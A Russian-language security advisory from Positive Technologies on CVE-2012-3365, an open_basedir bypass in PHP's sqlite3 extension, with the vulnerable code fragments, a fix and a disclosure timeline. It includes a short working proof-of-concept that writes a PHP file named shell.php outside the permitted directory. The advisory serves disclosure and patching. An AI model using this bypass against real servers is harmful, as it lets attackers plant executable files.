PT-2012-14: Обход ограничений безопасности в PHP Уязвимое ПОPHP Версия: 5.4.4 и более ранняя; 5.3.14 и более ранняяСсылка: http://php.net/Рейтинг опасностиУровень опасности: Средний Воздействие: Обход ограничений безопасности Вектор атаки: УдаленныйCVSS v2: Base Score: 5.0 Vector: (AV:N/AC:L/Au:N/C:N/I:P/A:N) CVE: CVE-2012-3365 Описание программыPHP (Hypertext Preprocessor) — скриптовый язык программирования общего назначения, часто используемый для разработки веб-приложений.Описание уязвимостиЭксперты исследовательского центра Positive Research компании Positive Technologies обнаружили уязвимость "Обход ограничений безопасности" в приложении PHP. В PHP 5.4.4/5.3.14 и более ранних версиях возможен обход директивы open_basedir из-за различий в проверках названия базы данных в PHP-расширении sqlite/sqlite3 и libsqlite. Возможно создание файла в формате базы данных SQLite за пределами open_basedir.Уязвимость обнаружена в файле /ext/sqlite3/sqlite3.c. Уязвимый фрагмент кода:PHP_METHOD(sqlite3, open) { ... if (strncmp(filename, ":memory:", 8) != 0) { ... if (php_check_open_basedir(fullpath TSRMLS_CC)) { ... } } else { fullpath = estrdup(filename); } Уязвимость обнаружена в файле /ext/sqlite3/libsqlite/sqlite3.c. Уязвимый фрагмент кода:const int isMemdb = (zFilename && strcmp(zFilename, ":memory:")==0) || (isTempDb && sqlite3TempInMemory(db));Пример эксплуатации Выполнение данного PHP-кода приведет к созданию базы данных SQLite за пределами open_basedir. <?php mkdir(':memory:'); $database = new SQLite3(":memory:/../../shell.php"); $database->exec("CREATE TABLE foo (bar STRING)"); $database->exec("INSERT INTO foo (bar) VALUES ('<?php phpinfo(); ?>')"); $database->close(); rmdir(':memory:'); ?>РешениеУстановите последнюю версию приложения.Статус уведомления22.06.2012 - Производитель уведомлен 22.06.2012 - Производителю отправлены детали уязвимости 19.07.2012 - Производитель выпустил исправление 04.02.2013 - Публикация уязвимости БлагодарностиУязвимость обнаружил Сергей Бобров (Исследовательcкий центр Positive Research компании Positive Technologies)Ссылкиhttp://www.securitylab.ru/lab/PT-2012-14Список отчетов о ранее обнаруженных уязвимостях Positive Research:http://www.ptsecurity.ru/lab/advisory/ http://www.securitylab.ru/lab/